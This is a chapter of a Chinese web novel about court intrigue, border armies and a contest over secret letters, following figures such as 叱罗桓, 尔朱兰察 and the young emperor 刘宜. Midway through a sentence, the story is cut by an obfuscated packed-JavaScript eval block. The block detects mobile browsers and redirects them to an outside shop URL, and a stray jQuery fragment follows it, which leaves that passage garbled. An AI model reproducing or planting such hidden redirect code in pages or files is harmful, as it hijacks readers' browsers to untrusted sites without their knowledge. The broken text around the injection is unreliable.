叱罗桓看着邺阳郡城大街小巷多出来那么些百姓,好奇得很,不是说都去放牧了吗?怎如今都回来了?
他带着疑惑往胡一德的府宅走,那府宅就在小郡城的最东边,好找也好记。
他便想着快些去那儿吃点东西,饥肠辘辘。黑市男人满心张皇跟在他身后,真是拿命换前程,他想着回去定要与侯府多要些恩赏。
两人一前一后走着,一个满目思量,一个东张西望,不知不觉间走到了胡一德那与旁侧院落差不多大小的郡守府衙。
胡一德入夜才回,到临近牧民家里吃酒唠嗑一直是常态,小酌怡情,聊聊家常。
顺手便拎回牧民家多出不少的牛羊肉,见到叱罗桓的时候,他正好走到自己家门口,与叱罗桓两个人照面碰头。
“阁下似是很眼熟。”胡一德主动上前询问,邺阳驻守的官兵虽官职不大,但却都是尽职尽责的,不会随意放行,故而他也不怎么害怕。
叱罗桓见他迷惑,上前靠近,想着天色已晚,看不清脸也正常,“郡守大人,是我。”他指了指自己,“叱罗桓。”
胡一德借着天穹星月光华眯着眼睛瞧,想着视线聚焦些便能看清人来,果然轮廓熟悉,伸手拉着叱罗桓凑近自家门前的灯笼,“啊,是你啊!你怎么来了?颜大人呢?”
叱罗桓一愣,“颜大人?”他不认识多少个大人,除了胡一德,那说过几句话的便是宴白、风如月和顾言,“您说的是……”他想了又想,只有顾言与他一块儿来过,“那个长得很凶,脾气很臭,但人品还挺好的那个吗?”
胡一德不知道他在说什么,一脸朦胧状,“就是上次与你来的那个呀。”
“哦!他挺好,他去京城了,他家在京城。”叱罗桓开始了掰扯闲话的状态。
胡一德不解,他认知里顾言是王潜派来的,“他家怎会在京城?调任升迁了?”
叱罗桓这才想起来,他们应该都不知道顾言是谁,便与胡一德说了一通,胡一德目瞪口呆,广陵侯?翌阳军统领竟拜过他这小官,他有一瞬觉得此生死而无憾。
“大人,有吃的么?”叱罗桓见他恍惚,看着他手里的肉,问起了眼下最重要的事情,至少对他来说很重要。
胡一德顺着他的眼神一看,把肉拎高晃了晃,“啊,当然有,管够。”他又往叱罗桓身后看去,“那位是?”
叱罗桓才想起来后面还跟着个人没介绍,可他也不认识这人,便转身面向他,比划了一下,“你……呃……你谁啊?”
黑市男人瞠目结舌,这是要跟他撇清关系?他忙解释起来,“侯府派我来寻你,我谁?没我你早死了。”
叱罗桓不同意,羽安楼他自己早有发现,不过此时不是计较这个的时候,他只是想知道这人是谁,叫什么,想来这哥儿是误会了。
“我是说,你叫什么,我怎么介绍你啊?”真难带。
那男人才反应过来,可报出姓名不合黑市规矩,便迟疑再三,吞吞吐吐。
叱罗桓见他一副憋得慌的模样,补充起来,“你要是想讨到顾言兜里的金子,以我的经验,你最好快说。”
男人一听,似是没错,若想某个正经活儿,须得有个姓名。
“秦观。”
胡一德跟着松了口气,这憋的,费劲。
“二位先进屋吧,天晚了寒凉。”
叱罗桓也觉得这口气终于上来了,松弛得很,扳着秦观的肩头,往里走,“咱们也算过命的交情,有活儿一起干如何?顾言可给了我不少黄金和商铺。”
秦观不大信他,月支人,什么都能说,“回头你带我看看,真有,那便一起干。”
叱罗桓没骗他,信心十足,“自然可以。”这人有野心,敢冒险,叱罗桓作为月支人,觉得属实不错。
胡一德带着他们进了屋,从立柜里取了干净的杯子,又去厨房取了灶上的热水,杯子装水烫了烫,挥洒干净。
他跑到卧房,从条案上拿来了珍藏的茶叶,是他上任不久后,宫里的吴妃差人给他捎来的慰问,一般他只舍得自己享用。
可叱罗桓是顾言的人,他便觉得不能怠慢,泡好了茶,仔细倒入杯中,递到叱罗桓和秦观面前,“二位大人请用。”
叱罗桓不习惯他这样,上次来时,顾言带着晚宁出去玩儿,他与胡一德一块儿吃的晚饭,挺自在,觉得就那样便好。
“大人,你知道我是个商人,不是什么大人,无需如此。”
胡一德点着头,“啊,是是是,你看,我就不由自主的……”
秦观知晓这心思,不由自主地觉得自己低人一等,没必要,“大人,我们是从临安逃出来的,还要拜谢大人收留。”
叱罗桓接过话来,“是啊大人,幸好有您在这里,不然我们真要死在黄沙滩涂中了。”
胡一德从不觉得自己有什么过人之处,手在身上无处安放一般,这里摸一下,那里抓一抓,颇不自在,他笑了笑,“二位不嫌弃我这蛮荒之地便好。”说着便站起身来,“你们稍歇,我去把肉煮了。”
叱罗桓是有事疑惑,跟着起身,“我俩相熟,我来帮你。”
秦观累得不想动弹,喝了口热茶,“那我就等着吃啦,我不会做饭。”
叱罗桓应了声好,没在意他,轻推了一下胡一德,示意他往外走。
到了厨房里,叱罗桓回头检查了一下门外,确定秦观没跟来,“大人,你这街上怎么回事?”
胡一德闻言想了想,哦,许是人多了,“叱罗兄弟说的是街上多了巡防的官兵?”
“是啊,什么情况?”叱罗桓惯爱多打听,这也是赚钱之道。
“那些都是羽州军,有些时日了,说是防着仓羯人的,刺史大人的话,我总要听听。”胡一德不知怎么回事,但他知道这些军士可以帮他保下邺阳郡为数不多的百姓,都是他的左右邻里。
叱罗桓哦了一声,梳理了一下,羽安楼,羽州军,都有羽字,刺史大人?许是一家?先记下,决定回去再给顾言说说,兴许又是白花花的赏钱。
*
尔朱兰察把赌坊掌柜提了出来,那铁蹄走在沙石地上吭吭直响,赌坊掌柜听得心头砰砰乱跳,这可不是闹着玩儿的。
铁蹄一路走回营帐里,往椅子里坐下,盯着赌坊掌柜只凶不言。
忽而想起了什么,走到门外喊来了仓羯官兵,仓羯语骂骂咧咧,让官兵把赞巴托带来。
赞巴托早听说了叱罗桓的高功伟迹,趁着月夜笼沙之际,悄悄离开了守城的队伍,逃进了荒石滩涂中。
月夜凄寒,沙上凝霜,他慢慢冻得直哆嗦,此时后悔已经没多大意义,他只想着逃出漠北。
夜里商队不会行动,有些会扎营宿在风蚀谷地里,倚着风蚀柱稍能遮蔽风沙,天亮之后便可继续前行。
赞巴托一路寻着官道,商队一般就在官道附近,不会深入滩涂,白白勾引野兽。
夜越深,大漠便越寒冷,大俞入了秋,大漠的深夜,便如越州的冬日。
没有准备衣物,穿着白日当值的服制,他冻得牙齿打颤,心口牵着手脚一阵阵不自觉地蜷缩。
人体冷到极致便会开始发热,他知道自己快要不行了,渐渐开始绝望。
目之所及,忽而出现了摇摇晃晃地火光,他眼前已模糊不清,抱着最后一点希冀,半跌半跑地往火光处奔去,跪下又爬起,那是最后一条路。
面前逐渐有了温热,人影开始向他聚拢,他也不知是不是到了地府,总归是在一片温暖中倒了下去。
仓羯官兵赶到西城门,赞巴托早已不见踪迹,同值守的官兵都说没见到他,以为他回营了。
尔朱兰察听了这些回报,手里的银杯直接砸在了营帐里悬挂的狼头上。
那狼头张着嘴,银杯里洒出的酒顺着一颗颗尖利的狼牙滴落,赌坊掌柜站在一旁吓得发抖,尔朱兰察则是气得打颤。
他走到赌坊掌柜面前,双眼因愤怒而晕了一圈殷红,“你能找到刘夕?”
有人要那密函匣子,定是想找罪证,大俞有了理由发兵,仓羯军队一时半刻未必招架得住。
赌坊掌柜哪里知道刘夕在哪里,可若说不知道,那就没命走出仓羯大营了,他便假装起来,“我知道,将军可要我去找他?”他想趁机溜走。
尔朱兰察可不会让他趁这个机,“你书信告诉他,真的密函还在我们手里,有人拿走了假的,别让他上当了。”
掌柜一听,密函?他不知什么意思,但要假装知道,不然就要送命了。
“这个简单,我这就去办,将军赐个纸笔如何?”
尔朱兰察偏了偏头,示意他自己去案上拿,已是气得不想再多说一句。
掌柜走到案边,想试探一下,用大俞文字写了个“疏灯换星月”递给尔朱兰察看,“将军觉得这个大小的字迹可以吗?”
尔朱兰察只善打打杀杀,连仓羯字都写不规整,更看不懂大俞文字,心中虚浮,不想被人看出自己胸无点墨,惶惶之中也没多想,更没直视一眼,“可以可以。”
掌柜见他神色,略有了解,定下心来,将手里的纸张放到火上烧掉,说再写一份正式的,可避免泄露。
摆着一副尽忠表率的模样,又起笔,写什么好呢?要写点儿有用的才能换来救自己的人,于是写道:“临安城门有仓羯官兵潜逃。”
怎么送出去呢?他脑子里一转,捞羽安楼布料铺子的掌柜出来,羽安楼出了名的路子广,那卖布的掌柜又是熟客,好说话,相互保一保,兴许可有出路。
“将军,往日送信的都是羽安楼那卖布的掌柜,你可愿放他出去?”
尔朱兰察只听闻是那掌柜帮叱罗桓搞来的变质粮草,且还帮着造的假匣子,怎么?如今又是刘夕手里的?
“他送来变质的粮草,还帮着月支人造假密函,你竟然说他是传信的人?你到底想做什么?”
赌坊掌柜可不知这内情,一听这经过瞬间明白自己为什么被抓了起来,肯定跟羽安楼脱不了干系,真是祸从天上来。
可话已经说出去了,不圆回来怎么活命?他一想,商人回路,“那个……他是赚钱而已,月支人给钱,他便应下,兴许不知内情,将军,如今可只有他能去联系上大王啊。”
这赌坊掌柜有刘夕的令牌,尔朱兰察对他的质疑尚存,但也不多,想着轻重,那便就放布料铺的掌柜一个人出去,吩咐下去,也没再看一遍信件里怎么写的,看不懂,不想暴露。
布料铺的掌柜在牢里莫名其妙被提了出来,官兵吩咐他送信,也没说送给谁,以为他自己知道。
那掌柜懵懵懂懂出来,站在北城门临近的大街上一番思量。
赌坊掌柜是尔朱兰察亲自带走的,还说了什么刘夕之事,这事他知道,陆匀就是让他们在这里守着,趁机试着摸些罪证的,如此便知应是赌坊掌柜捞的他。
他打开信件一看,在他眼里,看见的分明是有个可能的人证在逃,羽安楼百余人还在牢里,需赶紧想想办法,拖延不得,他沉了口气,壮了壮胆子,问仓羯官兵要了马,连夜奔出了东城门。
尔朱兰察大半夜的无法睡下,思来想去,觉着眼前人也不能全信,暂且关在营中,且需速速调集兵马,防着大俞发兵抢夺城池。
*
宴白和淳安婉在王潜府中宿了一夜,住在家里,淳安婉睡得踏实香甜,清早醒来神清气爽,收拾了一番便准备启程回越州。
王潜的耳目通达千里,报来消息,越州与竟州西郊有大批兵甲埋伏。
宴白领着淳安婉前来辞行,走到正厅门外,恰好,恰好听见了,跨入厅中,拜道:“父亲,是侯爷的安排。”
王潜还未来得及细想,听宴白这么一说,明白了含义,挥手让探子退下。
“贤婿可是要回去领兵?”
“正是。”
王潜看了看淳安婉,有些不放心,虽只是义女,虽先前让她替死,却也还是心疼的,转向宴白,似是补偿过错般有些唯唯诺诺,“若有需要,雍州军可供你调遣。”
宴白没想过这些,他信
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177903|131336||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他的主子,更信自己能办妥这件事情,“父亲放心,不出意外的话,刘夕会在越州被擒。”
淳安婉知道王潜的担忧,她自己知道战事变幻莫测,便应下,“多谢父亲,雍州城铜墙铁壁,若到需要之时,女儿自然不会客气。”
王潜听了这话,才略略安心,亦知晓如今耽搁不得,“那你们早些回去,记着万事小心。”
宴白拜辞,淳安婉行了礼,两人携手出府,在市集里买了两匹好马,说好的,不带太多行装,需要便买,如今便是需要。
两匹黑马毛色鲜亮,映着清早的日光,每走一步,光华随着健硕的筋肉往复流淌,通体莹润。
淳安婉喜欢华美之物,爱不释手,轻抚着马儿,“夫君,我们把它们带回府里养起来,不要放到军营里,可好?”
“好,婉儿喜欢便好,到时候让鲁爽把奔霄送回来,正好做伴。”
顾言把绝地带到京城去了,越州侯府的马厩里便空了两个位置,正好填上。
*
刘宜回到宫里,林总管得了监门卫的禀告,说陆匀来过。他想起顾言与他提过,陆匀手里有关于臧黎的证据,他便想着快些拿到皇宫里会更安全。
他便自己拿起了主意,吩咐林总管遣人去听雨楼把陆匀找来。于是陆匀正吃着午饭的时候,便看见侍卫挎着刀走了进来,“陆匀陆大人可在此处?”
陆匀忙放下碗筷,起身上前,“老夫在此。”
侍卫伸手让他交出令牌,拿在手里检查了一番,“大人,主上请您过去。”
陆匀拜了声是,便说上楼拿些东西,侍卫没拦着。
他到房中拿上了账本和图纸,下楼对侍卫点了点头,便往外走去,自觉地拐向皇宫的方向,没穿官袍,路过的行人皆以为是犯了事的人,被侍卫押进宫去。
刘宜在宸英殿里一边看着奏折,一边时不时瞟向门外,等着陆匀带东西过来。
顾言领着晚宁到宸英殿找他,一进门便撞上了他翘首期盼的目光。
“陛下在等我?”
刘宜有意摆出嫌弃的模样,“我就一定要等着兄长吗?”
顾言拱手一拜,“自然不是,臣妄自揣度,罪该万死。”
刘宜不跟他贫,示意他上去,坐到龙椅旁边,又着人加了张椅子,让晚宁坐下,“你们陪我等等,陆匀要来。
晚宁却觉得不合规矩,”陛下,这样真的好吗?”她站起身来,仿佛椅子上有刺。
“我说好就好,这里我才是天,大小姐坐着,一会儿还有人来。”刘宜如今有了底气,说话的声音都大了不少。
陆匀走进门时,看见三个人坐在一起,如同只是三个好友打趣闲聊,他一边走一边拜道:“老臣参见陛下,见过侯爷,侯夫人。”
顾言见他好像挺识趣,微微一笑,而后他看向刘宜,想知道他要怎么做。
刘宜放下手里的玉笔,想着昨日他被监门卫挡住去路的场景,问道:“陆大人的成果可否与寡人看了?”
“老臣正有此意。”说这他便递上了那账本和一张图纸,“此乃臧大人私购兵器的罪证,还有北漠刚刚送回的城池交易密函的匣子图样。是一个月支人弄到的。”
晚宁听见说是月支人,一下站了起来,“月支人?!”
顾言正翘着腿看戏,见她如此反应,伸手拉她坐下,蹙眉望着她,“你想他了?”
晚宁听出来酸味儿,抓着他的手摇晃起来,“我没有,我是想知道现在什么情况了。”
“那你听着便可。”顾言似是受了委屈似的别过脸去,望向大殿另一头透入日光的直棱轩窗。
陆匀和刘宜见两人竟拌起嘴来,都笑了一下,而后陆匀又拜了一拜,继续说道:“陛下,如今民间皆流传着侯爷造反的消息,那刘夕应很快便会现身,陛下可有准备?”
刘宜此时看向顾言,他本想给顾言一个惊喜,如今想想还是说了大家谋划谋划比较合适,“我已经下旨调回翌阳军,各地军士都已在路上了。”
顾言回过脸来,有惊无喜,“陛下,太早了,越州如若是不成,那各州将没有丝毫反抗之力。”
刘宜没想这么多,他只想着大军早日规正,便有抗敌之力。
晚宁怕顾言控制不住恼火起来,忙抓住他的手,“刘夕不论有多少兵马,也是军心不齐,越州和竟州联手,再加上临瑶的挑唆,应不会有问题。”
陆匀发现自己手里的兵还没动,因着他不在羽州,他在船上也已知晓顾言部署,“侯爷,羽州亦可联合雍州,刘夕若破了越州和竟州的封锁,定要从羽州南面经过才可到达东面各州。”
刘宜有些做错了事的感觉,怯生生地看着顾言,不敢再说什么,顾言握着晚宁的手,压着脾气,眼睫都在颤,“劳烦陆大人与王大人联系,早做防备。”
陆匀拜了声是,转向刘宜,“陛下,翌阳军三万兵马,老夫迟些再调回。”
刘宜垂眸看着案上的舆图,点着头,挥了挥手让他退下。
顾言看着陆匀出去,站起身来,不敢直视刘宜,有些暴躁,是他多年来都没控制住的,“微臣告退。”
他头也不回的往外走,袍角带出风来,晚宁左右看着两人,觉得他们虽什么都没说,却似是吵架了一般,可她能劝的只有顾言,便对刘宜行了礼,“陛下莫怪,他脾气有些急,我去说说。”
听晚宁说要帮忙劝着,刘宜安心了一些,兄长最听谁的,他亦知晓,“大小姐快去说说,我只是觉得大军应早日归一。”
“陛下有陛下的道理,有完整的军队也是一个出路,只是顾言想的多是各州百姓的安危。”
“是我思虑不周。”
“事已至此,有意义的是此刻和来日,我们可静观其变,想办法补救,但我自以为,刘夕没有那么大本事,不然不需要苟苟藏藏。”晚宁望向门外,顾言出去有一会儿了,她得赶紧去找他,于是挤出笑来,总是明艳,“我先去把他顺顺毛,回头再与陛下商议,顾言说过,窝里斗,没好的,陛下不必忧心。”